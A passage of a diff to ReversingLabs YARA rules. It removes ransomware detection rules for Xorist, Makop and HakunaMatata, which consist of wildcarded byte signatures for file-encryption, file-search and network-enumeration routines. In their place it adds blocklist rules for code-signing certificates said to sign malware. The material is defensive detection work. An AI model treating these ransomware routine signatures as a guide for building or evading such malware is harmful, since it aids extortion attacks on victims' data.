"804ae039-fc3b-5f19-860e-df9efe87ee4d" - date = "2020-06-26" - modified = "2020-07-15" + id = "63e2edab-11a4-55ba-b042-c88b6d2750a5" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Xorist.yara#L1-L150" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11920-L11936" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c428838cdd103f62508a23c9333b08567625291e110aa437324ecf37c62dca36" + logic_hash = "84402dc0a58fca36424d8d6d13c60b80342bb3792f4e32e23878530264358726" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Xorist" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $search_and_encrypt_v1_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 0F - 84 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 2D ?? ?? ?? ?? 50 C6 80 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ?? - ?? E8 ?? ?? ?? ?? 58 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? E9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 2D ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? 3C ?? 75 ?? - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 - } - $search_and_encrypt_v1_p2 = { - 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? - E9 ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 8B 0F 83 C7 ?? 51 57 68 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 03 F8 47 59 83 FB ?? 74 ?? 49 75 ?? E9 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? - ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? - ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 00 ?? EB ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 85 C0 0F 84 ?? ?? ?? ?? 48 A3 ?? ?? ?? ?? 6A ?? FF - } - $search_and_encrypt_v1_p3 = { - 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 F8 ?? 7D ?? FF 35 ?? ?? ?? ?? E8 ?? - ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A - ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 3D ?? ?? ?? ?? ?? 75 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 10 B9 - ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? AC 32 C2 D0 C2 AA E2 ?? A1 ?? ?? ?? ?? 80 - 3D ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? EB ?? 80 3D ?? ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? - ?? EB ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? - ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? - ?? ?? C9 C3 - } - $extract_rsrc_v1 = { - 55 8B EC 83 C4 ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? 51 57 0F 31 5F 59 25 ?? ?? ?? ?? C1 - E8 ?? 83 C0 ?? AA E2 ?? 33 C0 AA 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? C9 C3 89 45 ?? 50 6A ?? E8 ?? - ?? ?? ?? 0B C0 75 ?? C9 C3 89 45 ?? FF 75 ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? C9 C3 - 89 45 ?? 50 E8 ?? ?? ?? ?? 0B C0 75 ?? C9 C3 89 45 ?? 8B D8 6A ?? 6A ?? 6A ?? 6A ?? - 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 45 ?? 6A ?? 6A - ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 53 FF 75 ?? E8 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8 - ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? - C9 C3 - } - $search_and_encrypt_v2_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 0F - 84 ?? ?? ?? ?? 48 89 45 ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 2D ?? ?? ?? ?? 50 C6 80 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ?? - ?? E8 ?? ?? ?? ?? 58 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? E9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 2D ?? ?? ?? ?? C6 80 ?? ?? ?? ?? ?? A0 ?? ?? ?? ?? 3C - ?? 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 53 68 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 - ?? 74 ?? E9 ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 8B 0F 83 C7 ?? 51 57 68 - } - $search_and_encrypt_v2_p2 = { - E8 ?? ?? ?? ?? 8B D8 57 E8 ?? ?? ?? ?? 03 F8 47 59 83 FB ?? 74 ?? 49 75 ?? E9 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? - FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 80 3D ?? ?? ?? ?? ?? 75 ?? 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 00 ?? 6A - ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 85 C0 0F - 84 ?? ?? ?? ?? 48 A3 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? - ?? 83 F8 ?? 7D ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? - ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 - ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? EB ?? 68 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8A 10 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? AC 32 C2 - D0 C2 AA E2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF - 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? - ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? - ?? FF 75 ?? E8 ?? ?? ?? ?? C9 C3 - } - $extract_rsrc_v2 = { - 55 8B EC 83 C4 ?? 53 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 89 - 45 ?? 50 6A ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 89 45 ?? FF 75 ?? 6A ?? E8 - ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? 89 45 ?? 50 E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? - ?? ?? ?? 89 45 ?? 8B F8 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 8B 45 ?? 83 - E8 ?? 50 57 E8 ?? ?? ?? ?? 8B 1F 83 C7 ?? 53 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 0B C0 75 ?? E9 ?? ?? ?? ?? A3 ?? ?? ?? ?? 53 57 FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 - FB 8B 1F 83 C7 ?? 53 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? - ?? A3 ?? ?? ?? ?? 53 57 FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 FB 8B 1F 83 C7 ?? 53 6A - ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? ?? ?? ?? A3 ?? ?? ?? ?? 53 57 - FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 FB 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 - ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 ?? 6A ?? 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C7 - ?? FF 75 ?? E8 ?? ?? ?? ?? 5B C9 C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( ( $extract_rsrc_v1 ) and ( all of ( $search_and_encrypt_v1_p* ) ) ) or ( ( $extract_rsrc_v2 ) and ( all of ( $search_and_encrypt_v2_p* ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "WATER, s.r.o." and pe.signatures [ i ] . serial == "28:c5:7d:f0:9c:e7:cc:3f:de:22:43:be:b4:d0:01:01" and 1622678400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Makop : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_2D8Cfcf04209Dc7F771D8D18E462C35A : INFO FILE { meta: - description = "Yara rule that detects Makop ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9b7d42f3-0417-5228-8b25-244224cbc414" - date = "2020-10-30" - modified = "2020-10-30" + id = "5ce5c076-87de-50f0-9fa1-a3efef8dd7f8" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Makop.yara#L1-L99" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11938-L11954" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0ff4739d32b4a775d07a5f22d551ed67025681d4986e4404c9a01ad4078468f3" + logic_hash = "2b784e46268d78046365400ef914d7ca673503c93962d0b0740ca2ac9faf7857" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Makop" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 8D 54 24 ?? 52 56 FF 15 ?? ?? ?? ?? 56 8B F8 6A ?? 89 7C 24 ?? FF 15 ?? ?? ?? ?? 50 - FF 15 ?? ?? ?? ?? 83 FF ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 5F 5E 5B 8B E5 5D C3 33 F6 89 74 24 ?? EB ?? 8D A4 24 ?? ?? ?? ?? 8D 64 24 ?? - 66 8B 44 24 ?? 66 85 C0 0F 84 ?? ?? ?? ?? 66 3D ?? ?? 75 ?? 66 8B 44 24 ?? 66 85 C0 - 0F 84 ?? ?? ?? ?? 66 3D ?? ?? 75 ?? 66 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? 8D 44 24 ?? - EB ?? 8D 9B ?? ?? ?? ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 8D 54 24 ?? 2B C2 D1 F8 83 - E8 ?? 85 F6 8B F8 89 7C 24 ?? 75 ?? 8B 45 ?? 05 ?? ?? ?? ?? 03 C0 0F 84 ?? ?? ?? ?? - 50 56 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 89 44 24 ?? 8B F0 0F 84 ?? ?? ?? - ?? F6 44 24 ?? ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 38 85 FF 74 ?? 8B 1F 8D 54 24 - ?? 8B CA 2B D9 8D 49 ?? 0F B7 04 13 66 3D ?? ?? 72 ?? 66 3D ?? ?? 77 ?? 83 C0 ?? 0F - B7 C8 0F B7 02 66 3D ?? ?? 72 ?? 66 3D ?? ?? 77 ?? 83 C0 ?? 83 C2 ?? 66 85 C9 0F B7 - C0 74 ?? 66 3B C8 74 ?? 0F B7 D0 0F B7 C1 2B C2 0F 84 ?? ?? ?? ?? 8B 7F ?? 85 FF 75 - ?? 8B 7D ?? 8B 55 ?? 81 C7 ?? ?? ?? ?? 8B DE E8 ?? ?? ?? ?? 8B 4D ?? 8D 5C 4E ?? BA - ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 1C 56 8D 54 24 ?? BF ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4D ?? 8D 54 08 ?? 8B 45 ?? 52 56 50 E8 - } - $find_files_p2 = { - 83 C4 ?? E9 ?? ?? ?? ?? 8D 5C 24 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? - 80 79 ?? ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 03 FA 81 FF ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 8B - 15 ?? ?? ?? ?? C6 44 24 ?? ?? 8B 7D ?? 81 C7 ?? ?? ?? ?? 8B DE E8 ?? ?? ?? ?? 8A 44 - 24 ?? 84 C0 75 ?? 8B 55 ?? 83 C7 ?? 8D 5E ?? E8 ?? ?? ?? ?? 8A 44 24 ?? 8A C8 8B 54 - 24 ?? F6 D9 1B C9 83 E1 ?? F6 D8 8B F1 8D BE ?? ?? ?? ?? 1B C0 83 E0 ?? 83 C0 ?? 03 - 45 ?? 8D 04 42 89 44 24 ?? 8D 58 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 8D BE - ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 85 D2 8B 74 24 ?? 8B 45 ?? 77 ?? - 3B 70 ?? 77 ?? B1 ?? EB ?? 8B 55 ?? C6 44 24 ?? ?? E9 ?? ?? ?? ?? 32 C9 88 48 ?? 8B - 4C 24 ?? F6 C1 ?? 74 ?? C6 40 ?? ?? 89 48 ?? EB ?? C6 40 ?? ?? 50 89 50 ?? 89 70 ?? - 8B 44 24 ?? 50 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? - 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 54 24 ?? 8D 4C 24 ?? 51 52 FF 15 ?? ?? ?? ?? 85 - C0 0F 85 ?? ?? ?? ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 8B 74 24 ?? EB ?? 56 6A ?? FF 15 - ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 50 FF 15 ?? ?? ?? ?? 56 6A ?? FF 15 ?? - ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 - } - $encrypt_files = { - 8B 50 ?? 8B 00 83 EC ?? 55 8B 2D ?? ?? ?? ?? 56 57 6A ?? 8B F9 8D 4C 24 ?? 51 52 50 - 53 FF D5 85 C0 0F 84 ?? ?? ?? ?? 8B 57 ?? 8B 47 ?? 33 F6 56 8D 4C 24 ?? 51 52 50 53 - FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 75 ?? B0 ?? 5F 5E 5D 83 - C4 ?? C3 3B 47 ?? 73 ?? 8B C8 83 E1 ?? 74 ?? BE ?? ?? ?? ?? 2B F1 8B 4F ?? 56 03 C8 - 6A ?? 51 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 8B 4F ?? 03 C6 50 8D 54 24 ?? 52 51 6A - ?? 6A ?? 89 44 24 ?? 8B 44 24 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 8B 4C 24 ?? 8B 54 24 ?? 6A ?? 6A ?? 51 52 53 FF D5 85 C0 74 ?? 8B 4C 24 ?? 8B 57 ?? - 8B 3D ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 03 CE 51 52 53 FF D7 85 C0 74 ?? 8B 44 24 ?? - 8D 0C 30 8B 44 24 ?? 3B C1 72 ?? 01 44 24 ?? 8B 44 24 ?? 8B 50 ?? 8B 00 83 54 24 ?? - ?? 6A ?? 6A ?? 52 50 53 FF D5 85 C0 74 ?? 6A ?? 8D 4C 24 ?? 51 6A ?? 8D 54 24 ?? 52 - 53 FF D7 85 C0 74 ?? 83 7C 24 ?? ?? 0F 83 ?? ?? ?? ?? 5F 5E 32 C0 5D 83 C4 ?? C3 - } - $enum_network_resources = { - 55 8B EC 83 E4 ?? 83 EC ?? 53 56 57 68 ?? ?? ?? ?? 6A ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 8B F0 85 F6 89 74 24 ?? 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 7D ?? 8D 44 24 ?? 50 51 6A ?? - 6A ?? 57 E8 ?? ?? ?? ?? 85 C0 74 ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B - 7D ?? 68 ?? ?? ?? ?? 6A ?? 56 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 8D 54 24 ?? 52 56 8D 44 24 ?? 50 51 E8 ?? ?? ?? ?? 85 - C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 85 C0 75 ?? 8B 54 24 ?? 8B 45 ?? 52 50 EB ?? 8B 4C 24 - ?? 8B 50 ?? 51 52 E8 ?? ?? ?? ?? 33 DB 83 C4 ?? 39 5C 24 ?? 76 ?? 83 C6 ?? 8D 49 ?? - 8B 46 ?? 85 C0 8B C8 75 ?? B9 ?? ?? ?? ?? 8B 46 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 51 8B - 0E 51 50 E8 ?? ?? ?? ?? 8B 46 ?? 83 C4 ?? A8 ?? 74 ?? 8B 56 ?? 85 D2 74 ?? 85 FF 7E - ?? 8B 45 ?? 85 C0 74 ?? 8B 40 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 8B 4D ?? 52 83 - EF ?? 57 8D 46 ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? F6 06 ?? 74 ?? 50 E8 ?? ?? ?? - ?? 8B 56 ?? 8B 45 ?? 83 C4 ?? 52 50 E8 ?? ?? ?? ?? 83 C3 ?? 83 C6 ?? 3B 5C 24 ?? 0F - 82 ?? ?? ?? ?? 8B 74 24 ?? E9 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 8B 44 24 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $enum_network_resources ) and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AA PLUS INVEST d.o.o." and pe.signatures [ i ] . serial == "2d:8c:fc:f0:42:09:dc:7f:77:1d:8d:18:e4:62:c3:5a" and 1631491200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Hakunamatata : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_016836311Fc39Fbb8E6F308Bb03Cc2B3 : INFO FILE { meta: - description = "Yara rule that detects HakunaMatata ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "17438fcd-7a51-5fb6-96ac-38523bc1744f" - date = "2020-11-11" - modified = "2020-11-11" + id = "2c4061e8-0b8e-5c33-a746-6557449b17ed" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.HakunaMatata.yara#L1-L373" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11956-L11972" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e363ff93fce286d60a3f5ea20ba3ec03564b7a5321c3f6448cc82187f23e8a9f" + logic_hash = "c5f6372a207d02283840e745619e93194d954eedff7bae34aadcb645b1cb78fc" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "HakunaMatata" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - 55 89 E5 57 56 53 81 EC ?? ?? ?? ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? - 85 C0 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 89 14 24 89 C1 E8 ?? - ?? ?? ?? 83 EC ?? 84 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 - 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC ?? 89 45 ?? 83 7D ?? - ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 